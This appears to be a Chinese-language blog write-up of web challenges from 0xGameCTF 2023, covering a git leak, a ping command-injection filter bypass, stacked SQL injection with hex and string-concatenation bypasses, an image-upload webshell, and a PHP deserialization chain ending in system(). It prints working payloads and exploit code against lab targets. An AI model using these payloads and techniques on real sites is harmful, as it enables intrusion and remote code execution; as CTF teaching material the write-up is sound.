[0xGameCTF 2023] web题解

文章目录

  • [Week 1]
    • signin
    • baby_php
    • hello_http
    • repo_leak
    • ping
  • [Week 2]
    • ez_sqli
      • 方法一(十六进制绕过)
      • 方法二(字符串拼接)
    • ez_upload
    • ez_unserialize


[Week 1]

signin

打开题目,查看下js代码
在main.js里找到flag
[0xGameCTF 2023] web题解_第1张图片

baby_php

  

简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议

得到flag
[0xGameCTF 2023] web题解_第2张图片

hello_http

就是一些基本的http请求知识
按照要求来,得到flag
[0xGameCTF 2023] web题解_第3张图片

repo_leak

打开题目,提示git泄露
[0xGameCTF 2023] web题解_第4张图片使用工具
先运行工具GitHack,再访问./.git/
[0xGameCTF 2023] web题解_第5张图片但是这里提取不到,要用到另外一个工具git_extract(python2环境,我这里两个版本都下了)
[0xGameCTF 2023] web题解_第6张图片然后在posts文件夹找到,得到flag
[0xGameCTF 2023] web题解_第7张图片

ping

打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
[0xGameCTF 2023] web题解_第8张图片访问一下,得到源码

 &1');

?> 

分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过

bp抓包,添加命令得到flag
[0xGameCTF 2023] web题解_第9张图片

[Week 2]

ez_sqli

源码

from flask import Flask, render_template, request
import MySQLdb
import re

blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']

conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')

app = Flask(__name__)

@app.route('/')
def index():
    field = request.args.get('order', 'id')
    field = re.sub(r'\s+', '', field)

    for s in blacklist:
        if s.lower() in field.lower():
            return s + ' are banned'

    if not re.match(r"id|name|email", field):
        field = 'id'

    with conn.cursor() as cursor:
        cursor.execute('SELECT * FROM userinfo order by %s' % field)
        res = cursor.fetchall()

    return render_template('index.html', res=res)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

分析一下

  1. 首先是过滤了很多查询用的关键字
  2. 然后是禁用了空格,大小写绕过
  3. 上传参数值匹配id|name|email
  4. 最后就是查询语句cursor.execute('SELECT * FROM userinfo order by %s' % field)

这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句

set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;

由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;

方法一(十六进制绕过)

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

[0xGameCTF 2023] web题解_第10张图片然后查后面那一段

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;

十六进制绕过

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

得到后面一段flag
[0xGameCTF 2023] web题解_第11张图片

方法二(字符串拼接)

payload相同

id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;

也能得到flag
[0xGameCTF 2023] web题解_第12张图片

ez_upload

给了题目附件,我们主要看下upload源码


简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
[0xGameCTF 2023] web题解_第13张图片然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
[0xGameCTF 2023] web题解_第14张图片
访问,命令执行得到flag
[0xGameCTF 2023] web题解_第15张图片

ez_unserialize

源码

key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
?> 

题目给了提示,pop链子直接给出来

DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()

我们分段分析下首先是 DataObject类

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

遍历 data 的内容, 将 key 和 value 赋值给 storage, 触发 Storage 的 __set ⽅法

Storage类

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

如果 store 为空则初始化⼀个空的 array, 然后调⽤$value的 expired ⽅法, 如果返回 False, 则会将 $value放⼊$store

然后看Cache类

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

调用expired()方法后,由于__wakeup方法会使得if语句不成立,从而无法继续调用后面的。所以这里要引用绕过,从而继续调用clean()

最后是Help类


class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

__call()方法会按照传入的 name 从 funcs 数组中取出对应的函数名, 然后将 args 作为参数, 动态调用这个函数, 这里就是最终的利用点, 也就是可以 getshell 的地方。也就是说clean作为name的值,只需要让键名为clean的值为system即可。

exp

data=array('key1'=>$cache1,'key2'=>$cache2);
$a->storage=$b;
//store = array('key1'=>$cache1,'key2'=>$cache2)
//所以下面的$cache2->expired就不会被__wakeup所影响,因为指向的是非空数组
$cache1->expired=FALSE;
$b->store = &$cache2->expired;
$cache2->key = 'php -r "phpinfo();"';
$cache2->helper = $d;
$d->funcs = array('clean' => 'system');
echo serialize($a);
?> 

这里flag在环境变量处。我直接在phpinfo找,得到flag
[0xGameCTF 2023] web题解_第16张图片

你可能感兴趣的:(CTF比赛,前端,web安全,php)